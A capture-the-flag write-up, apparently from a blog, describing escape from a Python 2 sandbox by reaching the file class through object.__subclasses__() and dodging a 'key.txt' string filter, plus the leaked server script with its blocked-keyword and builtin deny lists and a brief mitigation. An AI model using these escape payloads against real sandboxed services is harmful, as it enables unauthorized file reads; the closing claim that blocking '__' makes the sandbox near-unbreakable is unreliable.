I connect to the server and am presented with the following message:
1 |
Can you read the key.txt? |
I type in ls and am presented with the following:
1 2 3 |
x= ls Exception: name 'ls' is not defined Exception: 'NoneType' object has no attribute 'group' |
I am in a python sandbox and must escape or read the key.txt file somehow. I try to simply type in sh and get the following message:
1 |
Good try, but not allowed :-) |
I notice the exception and figure I am in a try block. So I try to escape any outer loops using continue and break but these both fail. I shortly realise I am assigning some value to x but I can use ; to run multiple commands.
I try to run: 1;print 'test' which sets x to 1 and prints ‘test’. This however fails because I realise I cannot use spaces! Going back to the exception I am getting, I see group is being used so my initial reaction is to use regular expressions so the exception does not happen (as the x object will have a .group() attribute).
I try to feed in:
re.match(r'(.*)','test')
However,
re is not defined! I can’t import it in the regular way as that involves a space, I try to use
__import__('re') but it is not defined. I also try to run
reload(__builtins__) to try and reload the import definition but reload is not defined either.
At this stage I try various things, one being to check to see what variables are defined in the function, I run 1;print(globals()) and get:
1 |
{'a': None, 'search': <function search at 0xb7433f44>, 'e': AttributeError("'Non eType' object has no attribute 'group'",), '__builtins__': <module '__builtin__' (built-in)>, '__file__': './level1.py', 'securized': <function securized at 0xb 741dd14>, '__package__': None, 'x': 1, '__name__': '__main__', '__doc__': None} |
This tells me I have an a variable as well as an e exception variable! I experiment a little and discover my a variable is actually evaluated before the group() exception is raised. So this allows me to do various things (I experiment a lot at this stage). I notice that file is not defined but object is! I’m going to use object to find the offset of the file subclass.
First I run a short test on my local machine:
1 2 3 4 5 6 |
counter = 0 for i in object.__subclasses__(): if i == file: print counter counter += 1 |
It tells me the offset is at 40 but this is obviously different for the remote machine. I eventually find that file is at offset 58 on the remote machine (trial and error).
I can now try to call file with the path of key.txt as the argument and I will attempt to call read() on the object which should allow me to read the file.
I try the following (setting a to what I want to be evaluated):
1 |
a=object.__subclasses__()[58]("./key.txt").read() |
Unfortunately, the remote host instantly terminated the connection. This is because I used the phrase key.txt. I use a bit of trickery here and try the following instead:
1 |
a=object.__subclasses__()[58]("./KEY.TXT".lower()).read() |
This prints out the key.txt file!
Contents:
1 |
key{get_y0ur_pyth0nized_k3y!} |
Bonus:
Since we leaked the name of the python script before, we can actually leak the python source too.
We run:
1 |
a=object.__subclasses__()[58]("./level1.py").read() |
And get the source:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
#!/usr/bin/env python # config with socat # Use socat to run as a listening service # socat TCP-LISTEN:1337,fork EXEC:./level1.py,pty,stderr def securized(): UNSAFE = ['open', 'file', 'execfile', 'compile', 'reload', '__import__', 'eval', 'input'] for func in UNSAFE: del __builtins__.__dict__[func] from re import search securized() print 'Can you read the key.txt?' while True: try: x = search('\S+', raw_input()).group(0) if "key.txt" in x: print "Hey ! this is fun, you have to read a key.txt but i avoid this string, padawan :-)" exit() if "sudo" in x: print "Good try, but too dangerous !" exit() if "sh" in x: print "Good try, but not allowed :-)" exit() print "x=", x a = None exec 'x=' + x print 'you got:', a except Exception, e: print 'Exception: ', e |
Security Questions:
1,2,3: See above
4. Explain mitigation (remedy)
The issue here is that I was able to call
__subclasses__() . The sandbox needs to undefine this (add it to the
UNSAFE list) and block all commands that contain
__ . With that change the sandbox is much stronger and seemingly unbreakable.
Aziz
July 12, 2018 at 9:45 PM
Nice Job!